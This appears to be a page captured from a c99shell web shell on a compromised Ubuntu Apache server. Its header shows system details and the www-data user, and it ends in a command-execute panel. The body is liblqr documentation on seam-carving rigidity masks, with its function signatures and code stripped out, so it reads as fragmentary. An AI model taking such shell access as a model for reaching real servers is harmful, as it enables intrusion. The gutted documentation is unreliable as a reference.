Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 uid=33(www-data) gid=33(www-data) groups=33(www-data) Safe-mode: OFF (not secure) /usr/share/doc/liblqr-1-0-dev/html/ drwxr-xr-x | |
| Viewing file: Select action/file-type: The rigidity parameter which is set at carver activation time (see section Carver activation) normally affects the whole image. It is possible, however, to specify which areas of the image should be affected by using a rigidity mask. When a rigidity mask is used, each pixel of the image acquires an individual rigidity coefficient, which has to be multiplied with the overall rigidity parameter to get the actual pixel's rigidity. This is useful in some situations to reduce distorsions in specific areas of the image while keeping the seams optimal in other areas.
The library interface to deal with rigidity masks follows very closely the scheme for bias masks as
described in the bias section, the main difference being that no
equivalent to the bias factor has to be provided (since it is already given in the
Important
The rigidity mask has to be added always after the ImportantWhenever a rigidity mask is set, all pixels for which the value is not explicitly defined will have coefficient 0, i.e. the rigidity setting will will be disabled. NoteAll of the functions can be called multiple times, but their effect is not summed up, to the contrary of what happens for the bias functions; instead, new values will substitute old ones when the affected regions overlap. The function to use in order to set the rigidity mask at a given pixel is:
It is possible to use a whole array of floating points at once through this function:
Here, Note
This function, and all the following, will not swallow the buffer (to the contrary of what
happens e.g. when creating a new The rigidity mask can also be read from an 8-bit rgb buffer. This buffer has to be in the same format as the one used in the 8-bit LqrCarver constructor (but may have a different number of colours per channel). The function is:
As in the previous case,
The Important
The existence of an alpha channel is inferred from the
The two previously described functions operate on the whole
while for the rgb image use:
In both functions,
The provided buffers have to be of size |
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.005 ]-- |